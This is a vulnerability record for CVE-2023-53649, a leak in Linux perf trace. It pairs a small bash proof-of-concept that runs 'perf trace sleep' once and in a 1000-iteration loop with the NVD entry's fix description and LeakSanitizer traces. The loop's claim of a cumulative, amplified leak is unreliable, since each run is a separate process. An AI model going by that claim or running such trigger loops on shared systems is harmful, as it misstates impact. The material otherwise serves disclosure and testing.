CVE-2023-53649

# PoC for CVE-2023-53649 - Linux Kernel perf trace Memory Leak # This PoC demonstrates the memory leak by repeatedly executing perf trace #!/bin/bash # CVE-2023-53649 PoC # Description: Triggers memory leak in perf trace via evsel->priv allocation # Usage: Run this script with low-privilege user account # Method 1: Simple trigger - execute perf trace once # Each execution leaks 80 bytes (2 x 40 bytes) perf trace sleep 1 # Method 2: Repeated execution to amplify the leak effect # Run in a loop to observe cumulative memory leak for i in $(seq 1 1000); do perf trace sleep 0.001 done # Method 3: Verify with AddressSanitizer build # Build perf with ASan: # make EXTRA_CFLAGS="-fsanitize=address" BUILD_BPF_SKEL=1 CORESIGHT=1 \ # O=/tmp/build/perf-tools-next -C tools/perf install-bin # Then run: # perf trace sleep 1 # Expected ASan output: # ==XXXXX==ERROR: LeakSanitizer: detected memory leaks # Direct leak of 40 byte(s) in 1 object(s) allocated from: # #0 in calloc # #1 in zalloc # #2 in evsel_trace__new (builtin-trace.c:307) # #3 in evsel__syscall_tp (builtin-trace.c:333) # #4 in evsel__init_raw_syscall_tp (builtin-trace.c:458) # SUMMARY: AddressSanitizer: 80 byte(s) leaked in 2 allocation(s).

{"cve": {"id": "CVE-2023-53649", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:48.380", "lastModified": "2026-02-03T22:29:01.160", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf trace: Really free the evsel->priv area\n\nIn 3cb4d5e00e037c70 (\"perf trace: Free syscall tp fields in\nevsel->priv\") it only was freeing if strcmp(evsel->tp_format->system,\n\"syscalls\") returned zero, while the corresponding initialization of\nevsel->priv was being performed if it was _not_ zero, i.e. if the tp\nsystem wasn't 'syscalls'.\n\nJust stop looking for that and free it if evsel->priv was set, which\nshould be equivalent.\n\nAlso use the pre-existing evsel_trace__delete() function.\n\nThis resolves these leaks, detected with:\n\n $ make EXTRA_CFLAGS=\"-fsanitize=address\" BUILD_BPF_SKEL=1 CORESIGHT=1 O=/tmp/build/perf-tools-next -C tools/perf install-bin\n\n =================================================================\n ==481565==ERROR: LeakSanitizer: detected memory leaks\n\n Direct leak of 40 byte(s) in 1 object(s) allocated from:\n #0 0x7f7343cba097 in calloc (/lib64/libasan.so.8+0xba097)\n #1 0x987966 in zalloc (/home/acme/bin/perf+0x987966)\n #2 0x52f9b9 in evsel_trace__new /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:307\n #3 0x52f9b9 in evsel__syscall_tp /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:333\n #4 0x52f9b9 in evsel__init_raw_syscall_tp /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:458\n #5 0x52f9b9 in perf_evsel__raw_syscall_newtp /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:480\n #6 0x540e8b in trace__add_syscall_newtp /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:3212\n #7 0x540e8b in trace__run /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:3891\n #8 0x540e8b in cmd_trace /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:5156\n #9 0x5ef262 in run_builtin /home/acme/git/perf-tools-next/tools/perf/perf.c:323\n #10 0x4196da in handle_internal_command /home/acme/git/perf-tools-next/tools/perf/perf.c:377\n #11 0x4196da in run_argv /home/acme/git/perf-tools-next/tools/perf/perf.c:421\n #12 0x4196da in main /home/acme/git/perf-tools-next/tools/perf/perf.c:537\n #13 0x7f7342c4a50f in __libc_start_call_main (/lib64/libc.so.6+0x2750f)\n\n Direct leak of 40 byte(s) in 1 object(s) allocated from:\n #0 0x7f7343cba097 in calloc (/lib64/libasan.so.8+0xba097)\n #1 0x987966 in zalloc (/home/acme/bin/perf+0x987966)\n #2 0x52f9b9 in evsel_trace__new /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:307\n #3 0x52f9b9 in evsel__syscall_tp /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:333\n #4 0x52f9b9 in evsel__init_raw_syscall_tp /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:458\n #5 0x52f9b9 in perf_evsel__raw_syscall_newtp /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:480\n #6 0x540dd1 in trace__add_syscall_newtp /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:3205\n #7 0x540dd1 in trace__run /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:3891\n #8 0x540dd1 in cmd_trace /home/acme/git/perf-tools-next/tools/perf/builtin-trace.c:5156\n #9 0x5ef262 in run_builtin /home/acme/git/perf-tools-next/tools/perf/perf.c:323\n #10 0x4196da in handle_internal_command /home/acme/git/perf-tools-next/tools/perf/perf.c:377\n #11 0x4196da in run_argv /home/acme/git/perf-tools-next/tools/perf/perf.c:421\n #12 0x4196da in main /home/acme/git/perf-tools-next/tools/perf/perf.c:537\n #13 0x7f7342c4a50f in __libc_start_call_main (/lib64/libc.so.6+0x2750f)\n\n SUMMARY: AddressSanitizer: 80 byte(s) leaked in 2 allocation(s).\n [root@quaco ~]#\n\nWith this we plug all leaks with \"perf trace sleep 1\"."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.14.1", "versionEndExcluding": "5.15.132", "matchCriteriaId": "2B331847-D1BC-4C9B-A3EF-C9C65BB0631D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "ve ... (truncated)